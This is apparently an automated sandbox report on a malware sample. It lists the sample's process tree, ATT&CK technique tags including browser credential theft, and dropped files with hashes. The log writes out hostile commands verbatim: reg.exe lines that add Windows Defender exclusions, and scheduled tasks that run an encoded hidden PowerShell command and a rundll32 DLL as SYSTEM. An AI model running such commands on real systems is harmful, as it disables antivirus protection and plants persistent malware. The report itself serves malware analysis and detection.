    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VIMHHsZneVOU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:776
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VIMHHsZneVOU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4972
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YjZrkRZcATwIC" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4288
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YjZrkRZcATwIC" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1172
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oCqwGptxodUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3748
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oCqwGptxodUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4352
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yttLANDNU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1656
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yttLANDNU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1696
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\gjIobdSWmcoaRMVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:740
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\gjIobdSWmcoaRMVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2536
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:744
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2496
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2940
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1308
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\IdvADSCkKtFvgUPLq /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1484
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\IdvADSCkKtFvgUPLq /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:448
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\mFvcFyBOELXmoucN /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1556
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\mFvcFyBOELXmoucN /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4000
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gRtyvEVTB" /SC once /ST 11:59:33 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4484
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gRtyvEVTB"
  2⤵
  PID:4860
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gRtyvEVTB"
  2⤵
  PID:1304
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "iOysnhPGxtBADKqJc"
  2⤵
  PID:3888
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "iOysnhPGxtBADKqJc"
  2⤵
  PID:1928
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "iOysnhPGxtBADKqJc2"
  2⤵
  PID:3452
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "iOysnhPGxtBADKqJc2"
  2⤵
  PID:1832
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "nGXMdcFZXSaNTqVEl"
  2⤵
  PID:4896
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "nGXMdcFZXSaNTqVEl"
  2⤵
  PID:1556
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "nGXMdcFZXSaNTqVEl2"
  2⤵
  PID:4788
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "nGXMdcFZXSaNTqVEl2"
  2⤵
  PID:4440
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "mUEHmzslSZgjybdhtwk"
  2⤵
  PID:2716
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "mUEHmzslSZgjybdhtwk"
  2⤵
  PID:876
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4112
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "mUEHmzslSZgjybdhtwk2"
  2⤵
  PID:432
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "mUEHmzslSZgjybdhtwk2"
  2⤵
  PID:2460
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "xzXjGKUOygmIpJInbWS"
  2⤵
  PID:4172
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "xzXjGKUOygmIpJInbWS"
  2⤵
  PID:956
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "xzXjGKUOygmIpJInbWS2"
  2⤵
  PID:3064
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "xzXjGKUOygmIpJInbWS2"
  2⤵
  PID:1420
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\yttLANDNU\WNqODm.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "NEGIPKCcCFqQymu" /V1 /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3112
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "NlPuIegRfyTVvzq"
  2⤵
  PID:372
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "NlPuIegRfyTVvzq"
  2⤵
  PID:1208
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "NlPuIegRfyTVvzq2"
  2⤵
  PID:2096
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "NlPuIegRfyTVvzq2"
  2⤵
  PID:776
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "mdOFPGwFrmeuIv"
  2⤵
  PID:2344
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "mdOFPGwFrmeuIv"
  2⤵
  PID:3584
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "haXLkuHJpJFMU"
  2⤵
  PID:2720
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "haXLkuHJpJFMU"
  2⤵
  PID:4920
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "haXLkuHJpJFMU2"
  2⤵
  PID:872
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "haXLkuHJpJFMU2"
  2⤵
  PID:748
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "NEGIPKCcCFqQymu2" /F /xml "C:\Program Files (x86)\yttLANDNU\XveBTSq.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2244
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "NEGIPKCcCFqQymu"
  2⤵
  PID:4844
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "NEGIPKCcCFqQymu"
  2⤵
  PID:3912
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "YxdOTZHnYWjOMs" /F /xml "C:\Program Files (x86)\VIMHHsZneVOU2\czEJdyh.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3552
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "MHVrKMHRxJIzK2" /F /xml "C:\ProgramData\gjIobdSWmcoaRMVB\Hkqrngi.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4416
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "nGXMdcFZXSaNTqVEl2" /F /xml "C:\Program Files (x86)\CrMlUHwzZrOvKOANJwR\FwlMEEQ.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2716
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "xzXjGKUOygmIpJInbWS2" /F /xml "C:\Program Files (x86)\YjZrkRZcATwIC\ZMcHEHo.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2416
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 2132
  2⤵
  - Program crash
  PID:3828

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
PID:2560
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:4672
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:2836
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:2456

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:5036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4828 -ip 4828
1⤵
PID:4144

C:\Windows\system32\BackgroundTaskHost.exe
"C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
1⤵
PID:1172

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

FwlMEEQ.xml

Path C:\Program Files (x86)\CrMlUHwzZrOvKOANJwR\FwlMEEQ.xml
Size 2KB
SHA256 bc92a5d795edccdb2d9846e062e2fbec8a0415b40382dc07c3aed0143a4e9c37
MD5 c460830a9accbc726a256354642c013e
SHA1 46889894dfa86d1a896e0c2a4c24473e33bab48f
SHA512 eb8900f916a5419d3626798b964bc5464c264e9ae4a116ce7e9c1efda8bf8d9972f23587db7929735fc1832f419408680b91844aa3b8455244925cec52064a4c
MD5 SHA1 SHA512

Submit Download

czEJdyh.xml

Path C:\Program Files (x86)\VIMHHsZneVOU2\czEJdyh.xml
Size 2KB
SHA256 5e98838900568897a8ac2799e14b345976c44817865b58106055a79d1a9667f1
MD5 b2c4251424ef5d8e299ebfd0f61d8203
SHA1 c48969dc37fe63ee3eb4b81a706febf2f8b58314
SHA512 973748c7cd315af9d6ab4e292432204ad8f285c0e538c7d7ee482d7fc0218b34ae71e681d8ae440ccf37ae8e71f211b52fd8458f261c62f381a3c28b93b07fa6
MD5 SHA1 SHA512

Submit Download

ZMcHEHo.xml

Path C:\Program Files (x86)\YjZrkRZcATwIC\ZMcHEHo.xml
Size 2KB
SHA256 4c34d5e7661d8df8fa71848a5bfbef02446d1130e561822851ce9eb127cb4b16
MD5 bf557988427c7c8c932988558661e3ac
SHA1 8c0f94df2d3d198dba2af9245f78698a5aa362c3
SHA512 b709873a05368bd02e57bb5c5fcb5194fe7f92b75af00e7ddcb0aa80ea0e22618f6ab4561a70bec1135a5bc000d7bf9c3b121bdc96e63bd83fb9b5b2614bdf3e
MD5 SHA1 SHA512

Submit Download

XveBTSq.xml

Path C:\Program Files (x86)\yttLANDNU\XveBTSq.xml
Size 2KB
SHA256 91a2b7ae3d788dc97d343e318d7bcb7fd9a06d429a5ba4e70551b0c633b778a8
MD5 cd72e4bf3c9d74a696c1311b1c321525
SHA1 3159a26073595fe12d378b186c48b2d0bb6d24e2
SHA512 f06c6bd891fe5442587d4683543c072d7309d4c5da1d6e50817f8553a11521db881b85d446fe4af5f602ff6e461a102fd3068f208ed93b869a3b38661ab59e13
MD5 SHA1 SHA512

Submit Download

{279E7712-2495-42CB-9B56-C3F10D9410BB}.xpi

Path C:\Program Files\Mozilla Firefox\browser\features\{279E7712-2495-42CB-9B56-C3F10D9410BB}.xpi
Size 2.1MB
SHA256 39d6a7c272729ca2ea1db3c723d0f99ec7c32c62cac865b7ec9389140b872a98
MD5 fc5ed06d65b19a0fb179611587fbfe6a
SHA1 0d34748740ea6dba83aaf06a5c7d3d9afb2ecd2b
SHA512 04ec82d635ec6afec906ec1fab9305b42060edd9b23f5ee08f9d09e14099f79161219b4edaba40ea575cb7efada3bb672e3a733d5a76847dc2d3fe7ccdb65cb3
SSDEEP 12288:/Txs3OThdOuzmKDNqcE4rL9/tinpyjeoT+IfBtVwW/uXo:2qh4uzmKDNqcHL5SyjekTtiW24
MD5 SHA1 SHA512 SSDEEP

Submit Download

Hkqrngi.xml

Path C:\ProgramData\gjIobdSWmcoaRMVB\Hkqrngi.xml
Size 2KB
SHA256 bd7b936d93cb804581f5ae78c07f897645a8aba3b4e907ab544e02ec2e87c17f
MD5 4421c592618237368e5641ae74a55f5f
SHA1 728f33b24abd38c53243ed795c4a767c8c1e3d2d
SHA512 0410243c9f06267389a83bd1c2923aa43881c54805c6f0193e8bd3e206698fc08831449f4c172a65a570f78447fecb7203eb8cd14ea5434ac81eb1f1992116f0
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\damnfbopapnphldhfjcnegjnacdbdlko\1.6.19_0\_locales\en_GB\messages.json
Size 187B
SHA256 32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
MD5 2a1e12a4811892d95962998e184399d8
SHA1 55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA512 bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\damnfbopapnphldhfjcnegjnacdbdlko\1.6.19_0\_locales\fa\messages.json
Size 136B
SHA256 801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
MD5 238d2612f510ea51d0d3eaa09e7136b1
SHA1 0953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA512 2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\damnfbopapnphldhfjcnegjnacdbdlko\1.6.19_0\_locales\pt_BR\messages.json
Size 150B
SHA256 0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
MD5 0b1cf3deab325f8987f2ee31c6afc8ea
SHA1 6a51537cef82143d3d768759b21598542d683904
SHA512 5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
MD5 SHA1 SHA512

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 35KB
SHA256 b47fb44c4a8017be8270bd0891e2998c9a9af5943d693cd1be090ed1127b0ef4
MD5 53ebe3400650ef5028e9cbb82edcd76d
SHA1 a3c811af02d456a339544577fc055db1dfe9a88e
SHA512 69cb255ef363aa29339e6a099d448449fa5dce26811738fe1d720cdec3e959a2f2f8724df1e6e0664334ac5c1a007c1a913fb42e4895b95271be34e0c3e16917
SSDEEP 768:Bfz3FLLLLiUwsja7SuLr9gtnA8xP7kxR64rJoop1CkuIMxQt/Z:Bft/uBCoNp1C9xQt/Z
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2
MD5 33b19d75aa77114216dbc23f43b195e3
SHA1 36a6c3975e619e0c5232aa4f5b7dc1fec9525535
SHA512 676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\lmlbmkofbicnjcgmblnfcibkdbieogno\3.1_0\_locales\es\messages.json
Size 151B
SHA256 b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55
MD5 bd6b60b18aee6aaeb83b35c68fb48d88
SHA1 9b977a5fbf606d1104894e025e51ac28b56137c3
SHA512 3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 11KB
SHA256 251116aec0a4950ec99a060033b4e278db0313d8d878dfa8187c1a5f79d71036
MD5 2cdf6ebfd4261020fbd2217153df8cc3
SHA1 601b9febb578827b86e6014b250093ed63ebe92b
SHA512 fd423d68a13dcaffd31d56595ffae6135bcdcda1e5b9fdeb4f663adc469ab5c97757d3203319ea37ea90ab70b49304befb327462f7a4c76f6133226af6a08dd3
SSDEEP 192:Vnrf+L9i+qsa6p3p0n+sI9QxlQazZb2g/R45ywwo9olHyJTWsK6smxYHV7woC/m0:Vrf+L9i+NxGn5LTBFb24kso9o2TpK6sM
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 11KB
SHA256 1afdfe21cacb42ebf7ac492db0e705ca668ed3365ea70067b9eae4f511ce7e4d
MD5 1ebe8083a9dd7af80834e6e43ba50d71
SHA1 24a198c175b43ee6fce321b34883191f3f008d86
SHA512 f0d2e9abd3ddc826def0a15b0f32a080c6eaa43c92b01ad29ebf2ce1f3fe80d92e2dc4b64d8611f463e995690c1590fe1685729aef0263b9bc4d92c7427edc0f
SSDEEP 192:anrf+4991VfuaY0O+umQ/bCQazWmAR451zwo9oDtfHyAMKsBLdxYtL7UJ/mvmBJl:arf+4991V2gO+jcmBimAkeo9o5ENY17Y
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_uth2h3yg.twn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uth2h3yg.twn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\yuzka873.default-release\prefs.js
Size 11KB
SHA256 9f868252cf1e4c742e19ba7299f424d97bf3e0927743a73694894b5d6fee1865
MD5 2717859b6f596a3babd3478be1c90e91
SHA1 ede2bdc33583e05931412edf6959862adbaa3ca3
SHA512 cd3e1bed391f91d3e8f897d526b4f57ab93af3933422a36bbee7cd5c6cec4a4800f8cb1902f3bf213236fa44e39054d8da256ebfd308c8b5c7c78ab961ba9f1c
SSDEEP 192:U5noRJfSrVUs/uI4gYcU8BtD8JJCddLMy1Zzw3gGaXmoVU68EkBw8Vml9DLadaW7:nJsWuYgUJJ6My1Zz4oZqwfXo
MD5 SHA1 SHA512 SSDEEP

Submit Download

Registry.pol

Path C:\Windows\System32\GroupPolicy\Machine\Registry.pol
Size 7KB
SHA256 0de5e8898f2bee9a19b2de7753b2e219b90b3eec1f0d64cb5badb05319cd0993
MD5 918b790b0964f55069326e654a9646e9
SHA1 8f7a499e589af7ef6ec8e4526a4472a667e1d1d8
SHA512 472d4470623a1dedf73a400ee119a72dad0495bd69e266edd33d10a8fa93cfe6f97cbec2d12009bb3e0b65fe0ec0d6ceec0636a5fafe0b2192e4f8e31fc2b5ba
SSDEEP 96:W9H9h9j9n9a9K9o92939l9S9n9V9AyJ0zh0+0r0jt/04I0oxL0k000pI0wT9UXsg:SJxc+
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1504-6-0x0000000074C4E000-0x0000000074C4F000-memory.dmp

Download

memory/1504-11-0x0000000005C10000-0x0000000005C32000-memory.dmp

Download

memory/1504-29-0x0000000074C40000-0x00000000753F0000-memory.dmp

Download

memory/1504-25-0x00000000064D0000-0x000000000651C000-memory.dmp

Download

memory/1504-7-0x0000000002BB0000-0x0000000002BE6000-memory.dmp

Download

memory/1504-13-0x0000000005E90000-0x0000000005EF6000-memory.dmp

Download

memory/1504-12-0x0000000005DB0000-0x0000000005E16000-memory.dmp

Download

memory/1504-24-0x00000000064A0000-0x00000000064BE000-memory.dmp

Download

memory/1504-8-0x0000000074C40000-0x00000000753F0000-memory.dmp

Download

memory/1504-23-0x0000000005F00000-0x0000000006254000-memory.dmp

Download

memory/1504-10-0x0000000074C40000-0x00000000753F0000-memory.dmp

Download

memory/1504-9-0x0000000005580000-0x0000000005BA8000-memory.dmp

Download

memory/2560-54-0x0000023574230000-0x0000023574252000-memory.dmp

Download

memory/2992-31-0x0000000005630000-0x0000000005984000-memory.dmp

Download

memory/4828-67-0x0000000003860000-0x00000000038E5000-memory.dmp

Download

memory/4828-0-0x0000000000170000-0x00000000007FE000-memory.dmp

Download

memory/4828-111-0x0000000004250000-0x00000000042B1000-memory.dmp

Download

memory/4828-58-0x0000000010000000-0x00000000105EC000-memory.dmp

Download

memory/4828-26-0x0000000000170000-0x00000000007FE000-memory.dmp

Download

memory/4828-5-0x0000000010000000-0x00000000105EC000-memory.dmp

Download

memory/4828-1-0x0000000010000000-0x00000000105EC000-memory.dmp

Download

memory/4828-438-0x00000000042C0000-0x0000000004340000-memory.dmp

Download

memory/4828-452-0x0000000004C70000-0x0000000004D3F000-memory.dmp

Download

memory/4828-475-0x0000000010000000-0x00000000105EC000-memory.dmp

Download